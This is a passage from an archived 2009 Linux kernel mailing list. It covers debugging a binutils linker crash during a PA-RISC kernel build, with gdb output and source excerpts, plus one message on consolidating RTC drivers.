        plabel =3D <value optimized out>
        r_type =3D 8
        rstatus =3D bfd_reloc_notsupported
        local_got_offsets =3D (bfd_vma *) 0x1384b8
        htab =3D (struct elf32_hppa_link_hash_table *) 0x7af50
        rela =3D (Elf_Internal_Rela *) 0x12bac0
        relend =3D (Elf_Internal_Rela *) 0x12c018
        __PRETTY_FUNCTION__ =3D "elf32_hppa_relocate_section"


>
> binutils has likely been miscompiled, or your kernel build has
> exposed a problem in binutils. =C2=A0We may be not handling a relocat=
ion
> correctly during the final link.
>
> If you can, would you build CVS binutils with debugging. =C2=A0Disabl=
e
> building shared libraries so we don't use libbfd-2.18.so. =C2=A0Insta=
ll
> it somewhere. =C2=A0Replace your current versions of as and ld. =C2=A0=
Then
> redo the kernel build. =C2=A0If the same error occurs, we will have a
> version that can be debugged.

I will try it some time later.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Mon, 2 Mar 2009 12:20:04 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090302172005.A0B8E4ED1@hiauly1.hia.nrc.ca>
References: <a4423d670903020813k5c67749du7070ce31d44ab3e7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236014438 10663 80.91.229.12 (2 Mar 2009 17:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 17:20:38 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: a.beregalov@gmail.com (Alexander Beregalov)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 02 18:21:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeBpx-0001Bi-6s
	for glpp-linux-parisc@gmane.org; Mon, 02 Mar 2009 18:21:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754922AbZCBRUK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Mar 2009 12:20:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754837AbZCBRUK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Mar 2009 12:20:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3906 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754922AbZCBRUI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Mar 2009 12:20:08 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A0B8E4ED1; Mon,  2 Mar 2009 12:20:05 -0500 (EST)
In-Reply-To: <a4423d670903020813k5c67749du7070ce31d44ab3e7@mail.gmail.com> from "Alexander Beregalov" at Mar 2, 2009 07:13:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1341>

> Thanks for you help
> Is it more clear?

Yes.  This is good stuff.

> #6  0x40074c94 in elf32_hppa_relocate_section (output_bfd=0x78d28,
> info=0x68c00, input_bfd=0xd9060, input_section=0xf21c0,
>     contents=0x43571008 "cows can fly", relocs=0x12b520,
> local_syms=0x1891808, local_sections=0x1b350d8)

The bug is in this bit of code:

          (*_bfd_error_handler)
	    (_("%B(%A+0x%lx): cannot reach %s, recompile with -ffunction-sections"),
	      hsh->target_section->owner,
	      stub_sec,
	      (long) hsh->stub_offset,
	      hsh->bh_root.string);

Either hsh->target_section->owner or hsh->bh_root.string is NULL.  Could
you put a break on this line and print the struct hsh in gdb?

> Should I really recompile glibc with -ffunction-sections ?

It probably will help.  If you are building for a PA 2.0 machine,
-mpa-risc-2-0 may also help as the branch the branch distance for
pc-relative calls is much bigger.

I thought -ffunction-sections was always used for kernel builds.

It's a bit of a puzzle as to why this error is triggered.  I think
this is coming from ./arch/parisc/kernel/traps.c.  I wouldn't have
thought the text in this file is large enough to trigger this error.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Mon, 2 Mar 2009 21:01:02 +0300
Lines: 89
Approved: news@gmane.org
Message-ID: <a4423d670903021001y2ebdfc41md4f5007144ac8ec9@mail.gmail.com>
References: <a4423d670903020813k5c67749du7070ce31d44ab3e7@mail.gmail.com>
	 <20090302172005.A0B8E4ED1@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236016901 25337 80.91.229.12 (2 Mar 2009 18:01:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 18:01:41 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 02 19:02:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeCTM-0001E0-EG
	for glpp-linux-parisc@gmane.org; Mon, 02 Mar 2009 19:02:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756164AbZCBSBJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Mar 2009 13:01:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755851AbZCBSBI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Mar 2009 13:01:08 -0500
Original-Received: from mail-ew0-f177.google.com ([209.85.219.177]:50824 "EHLO
	mail-ew0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755938AbZCBSBF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Mar 2009 13:01:05 -0500
Original-Received: by ewy25 with SMTP id 25so2089340ewy.37
        for <linux-parisc@vger.kernel.org>; Mon, 02 Mar 2009 10:01:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=QhMXfe46ZdV8kC6niqYizTDOZxKmUdu81df0XdRjt9g=;
        b=A8UWbuMPI3xha38EAv4F3V2FmAwMVsRDnyhMNbLlq6zggLO84tSegLXytMJO2Fcd1G
         eZjLo2hXyZedNFiZrO6QaMDyndq3N0hbU7VMHhYeXangyewlS+WmNMUJ2ShY8xNkfK0p
         AqJCJZKBNRJQKk0UmBh35oy0ZscdQJVhpJ56E=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=sFOD/eolZ3NI5STgIXRdg4ZWIIclsrGGNShW4cA5yWAlPiQYwZFeNNxMCWFMycifWk
         jNlg4XUictu/9xSJ2Eew5KYbE1tqR3eGezS8izk69nuenqGGvoxUIgi/UEbRVQW/IAzD
         qy10cSz5eWLLwhOHXZRpbBLQ4EPR8bUI2djTA=
Original-Received: by 10.210.88.7 with SMTP id l7mr3404964ebb.82.1236016862517; Mon, 02 
	Mar 2009 10:01:02 -0800 (PST)
In-Reply-To: <20090302172005.A0B8E4ED1@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1342
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1342>

> Either hsh->target_section->owner or hsh->bh_root.string is NULL. =C2=
=A0Could
> you put a break on this line and print the struct hsh in gdb?

bfd/elf32-hppa.c:
3568   /* Make sure we can reach the stub.  */
3569   if (max_branch_offset !=3D 0
3570       && value + addend + max_branch_offset >=3D 2*max_branch_offs=
et)
3571     {
3572       (*_bfd_error_handler)
3573         (_("%B(%A+0x%lx): cannot reach %s, recompile with
-ffunction-sections"),
3574          input_bfd,
3575          input_section,
3576          offset,
3577          hsh->bh_root.string);
3578       bfd_set_error (bfd_error_bad_value);
3579       return bfd_reloc_notsupported;
3580     }

(gdb) step
3572          (*_bfd_error_handler)

(gdb) info locals
howto =3D <value optimized out>
sym =3D (Elf_Internal_Sym *) 0x189ed40
sym_name =3D <value optimized out>
warned_undef =3D 0
r_symndx =3D <value optimized out>
hh =3D (struct elf32_hppa_link_hash_entry *) 0x0
sym_sec =3D (asection *) 0xf0870
relocation =3D 18446744073709532028
plabel =3D <value optimized out>
r_type =3D 8
rstatus =3D bfd_reloc_notsupported
local_got_offsets =3D (bfd_vma *) 0x137018
htab =3D (struct elf32_hppa_link_hash_table *) 0x78f70
rela =3D (Elf_Internal_Rela *) 0x12abd0
relend =3D (Elf_Internal_Rela *) 0x12b128
__PRETTY_FUNCTION__ =3D "elf32_hppa_relocate_section"

(gdb) print input_bfd
$4 =3D (bfd *) 0xae460

(gdb) print input_section
$5 =3D (asection *) 0xf0870

(gdb) print offset
No symbol "offset" in current context.

(gdb) print hsh->bh_root.string
No symbol "hsh" in current context.

(gdb) step
/usr/bin/ld:
Program received signal SIGSEGV, Segmentation fault.

I do not understand why there is no such symbols.
>
>> Should I really recompile glibc with -ffunction-sections ?
>
> It probably will help. =C2=A0If you are building for a PA 2.0 machine=
,
> -mpa-risc-2-0 may also help as the branch the branch distance for
> pc-relative calls is much bigger.
>
> I thought -ffunction-sections was always used for kernel builds.
>
> It's a bit of a puzzle as to why this error is triggered. =C2=A0I thi=
nk
> this is coming from ./arch/parisc/kernel/traps.c. =C2=A0I wouldn't ha=
ve
> thought the text in this file is large enough to trigger this error.
>
> Dave
> --
> J. David Anglin =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0dave.ang=
lin@nrc-cnrc.gc.ca
> National Research Council of Canada =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0(613) 990-0752 (FAX: 952-6602)
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Mon, 2 Mar 2009 13:17:18 -0500 (EST)
Lines: 51
Approved: news@gmane.org
Message-ID: <20090302181719.8CB8F4ED1@hiauly1.hia.nrc.ca>
References: <a4423d670903021001y2ebdfc41md4f5007144ac8ec9@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236017861 28894 80.91.229.12 (2 Mar 2009 18:17:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 18:17:41 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: a.beregalov@gmail.com (Alexander Beregalov)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 02 19:18:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeCiz-000780-8y
	for glpp-linux-parisc@gmane.org; Mon, 02 Mar 2009 19:18:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751934AbZCBSRW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Mar 2009 13:17:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751936AbZCBSRW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Mar 2009 13:17:22 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4263 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751934AbZCBSRW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Mar 2009 13:17:22 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8CB8F4ED1; Mon,  2 Mar 2009 13:17:19 -0500 (EST)
In-Reply-To: <a4423d670903021001y2ebdfc41md4f5007144ac8ec9@mail.gmail.com> from "Alexander Beregalov" at Mar 2, 2009 09:01:02 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1343>

> > Either hsh->target_section->owner or hsh->bh_root.string is NULL. =C2=A0C=
> ould
> > you put a break on this line and print the struct hsh in gdb?
> 
> bfd/elf32-hppa.c:
> 3568   /* Make sure we can reach the stub.  */
> 3569   if (max_branch_offset !=3D 0
> 3570       && value + addend + max_branch_offset >=3D 2*max_branch_offset)
> 3571     {
> 3572       (*_bfd_error_handler)
> 3573         (_("%B(%A+0x%lx): cannot reach %s, recompile with
> -ffunction-sections"),
> 3574          input_bfd,
> 3575          input_section,
> 3576          offset,
> 3577          hsh->bh_root.string);
> 3578       bfd_set_error (bfd_error_bad_value);
> 3579       return bfd_reloc_notsupported;
> 3580     }
> 
> (gdb) step
> 3572          (*_bfd_error_handler)

...

> (gdb) print hsh->bh_root.string
> No symbol "hsh" in current context.

> I do not understand why there is no such symbols.

As soon as you step into the error handler, you change the function
context.  So, there is no local symbol hsh there.  It's also possible
the symbol hsh is optimized away, particularly because of the way it's
derived fro the argument bh.

If hsh is not available, try bh->bh_root.  hsh is derived from
bh as follows:

  hsh = (struct bfd_hash_entry *) bh;

It's always tricky to debug optimized code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Mon, 2 Mar 2009 13:28:33 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <20090302182834.0BBBB4EE8@hiauly1.hia.nrc.ca>
References: <20090302181719.8CB8F4ED1@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236018529 31296 80.91.229.12 (2 Mar 2009 18:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 18:28:49 +0000 (UTC)
Cc: a.beregalov@gmail.com, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 02 19:30:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeCtr-0002ky-Tt
	for glpp-linux-parisc@gmane.org; Mon, 02 Mar 2009 19:30:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751103AbZCBS2h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Mar 2009 13:28:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751179AbZCBS2h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Mar 2009 13:28:37 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4335 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751103AbZCBS2g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Mar 2009 13:28:36 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0BBBB4EE8; Mon,  2 Mar 2009 13:28:33 -0500 (EST)
In-Reply-To: <20090302181719.8CB8F4ED1@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 2, 2009 01:17:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1344
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1344>

> > > Either hsh->target_section->owner or hsh->bh_root.string is NULL. =C2=A0C=
> > ould
> > > you put a break on this line and print the struct hsh in gdb?
> > 
> > bfd/elf32-hppa.c:
> > 3568   /* Make sure we can reach the stub.  */
> > 3569   if (max_branch_offset !=3D 0
> > 3570       && value + addend + max_branch_offset >=3D 2*max_branch_offset)
> > 3571     {

Another thought -- add one or more BFD_ASSERTs before the call.
For example,

	       BFD_ASSERT (hsh->bh_root.string);

> > 3572       (*_bfd_error_handler)
> > 3573         (_("%B(%A+0x%lx): cannot reach %s, recompile with
> > -ffunction-sections"),
> > 3574          input_bfd,
> > 3575          input_section,
> > 3576          offset,
> > 3577          hsh->bh_root.string);
> > 3578       bfd_set_error (bfd_error_bad_value);
> > 3579       return bfd_reloc_notsupported;
> > 3580     }

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Tue, 3 Mar 2009 11:41:23 +0100 (CET)
Lines: 97
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
	<20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
	<20090225111836.621412c1@i1501.lan.towertech.it>
	<20090227185514.GA1071@linux-m68k.org>
	<alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be>
	<20090302110310.35af50ea@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be>
	<20090302120950.0d35e06c@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1236076910 4236 80.91.229.12 (3 Mar 2009 10:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2009 10:41:50 +0000 (UTC)
Cc: Linux/m68k <linux-m68k@vger.kernel.org>,
	Richard Zidlicky <rz@linux-m68k.org>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	David Woodhouse <dwmw2@infradead.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org Tue Mar 03 11:43:05 2009
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeS5X-0004Yk-2T
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 03 Mar 2009 11:43:03 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 76704DE0B2
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue,  3 Mar 2009 21:41:36 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from vervifontaine.sonycom.com (vervifontaine.sonytel.be
	[80.88.33.193]) by ozlabs.org (Postfix) with ESMTP id 3A68BDDF81
	for <linuxppc-dev@ozlabs.org>; Tue,  3 Mar 2009 21:41:25 +1100 (EST)
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 6F52958ADF;
	Tue,  3 Mar 2009 11:41:23 +0100 (MET)
In-Reply-To: <20090302120950.0d35e06c@i1501.lan.towertech.it>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:21553 gmane.linux.ports.m68k:506 gmane.linux.ports.parisc:1345 gmane.linux.kernel:801750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1345>

On Mon, 2 Mar 2009, Alessandro Zummo wrote:
> On Mon, 2 Mar 2009 11:28:01 +0100 (CET)
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> > So I can solve my problem (autoloading the RTC driver on PS3 by udev) by
> > converting the old genrtc driver into a platform device driver and crea=
ting
> > platform devices where appropriate.
> =

>  yes. btw, if you are building a kernel specific for the PS3, I would
>  compile the rtc driver statically, otherwise it won't be available
>  early on boot.
>  =

> > However, this doesn't solve the distro's problem: as the old RTC framew=
ork
> > depends on RTC_LIB=3Dn, you cannot have both old and new RTC drivers in=
 your
> > (single) distro kernel. That's why dmwm2 created drivers/rtc/rtc-ppc.c:=
 Fedora
> > had to support machines with both old and new RTC drivers. As all of th=
e old
> > drivers are actually behind the ppc_md.[sg]et_rtc_time() abstraction, t=
his was
> > very easy.
> =

>  ok, generic kernel. you will have to load the modules on initrd. no, sad=
ly you
>  can't have both of them. you might stick with the old interface or
>  convert them all. =

> =

> > Hence it's all or nothing, and we have to convert all of them.
> > =

> > drivers/rtc/rtc-generic.c would allow to have a working system without =
old
> > RTC drivers, until all low-level code has been converted to individual =
RTC
> > drivers.
> =

>  I know but I have enough experience to foresee that once a generic over =
generic
>  framework is in place it's very hard to get rid of it because people
>  will have no incentives.

I know.

>  If you really need rtc-generic you can keep using it even if it's =

>  not in the kernel, distributions often have their specific
>  set of kernel patches.

rtc-generic is already in the kernel, it's just called rtc-parisc ;-)

>  But I'd strongly suggest to plan and execute a conversion process.

So would you accept a patch series that:
  1. Adds the missing module aliases to rtc-parisc (which is a bugfix),
  2. Moves the platform device creation out of rtc-ppc and into arch-specif=
ic
     code (which is also a bugfix),
  3. Consolidates rtc-parisc and rtc-ppc into rtc-generic (which is a clean=
up),
  4. Makes rtc-generic dependent on PARISC, PPC, and M68K (the existing
     [sg]et_rtc_time() users):
       a. without introducing ARCH_HAS_GENERIC_RTC,
       b. with a big fat warning in the Kconfig comment not relaxing the
          dependencies, as it's supposed to go away.
  4. Converts the PS3 RTC support into a separate driver, called rtc-ps3
     (as a bonus ;-)

? If yes, I'll cook it up.

Other RTC platform support can be converted into separate drivers later.

Thanks!

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Belgium

Phone:    +32 (0)2 700 8453
Fax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
Fortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010

From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Tue, 3 Mar 2009 15:57:21 +0300
Lines: 66
Approved: news@gmane.org
Message-ID: <a4423d670903030457k20f2e975ya567e9d3b1a5a3ab@mail.gmail.com>
References: <a4423d670903021001y2ebdfc41md4f5007144ac8ec9@mail.gmail.com>
	 <20090302181719.8CB8F4ED1@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236085055 30719 80.91.229.12 (3 Mar 2009 12:57:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2009 12:57:35 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 03 13:58:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeUCv-0003En-0P
	for glpp-linux-parisc@gmane.org; Tue, 03 Mar 2009 13:58:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751637AbZCCM50 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Mar 2009 07:57:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751792AbZCCM50
	(ORCPT <rfc822;linux-parisc-outgoing>);
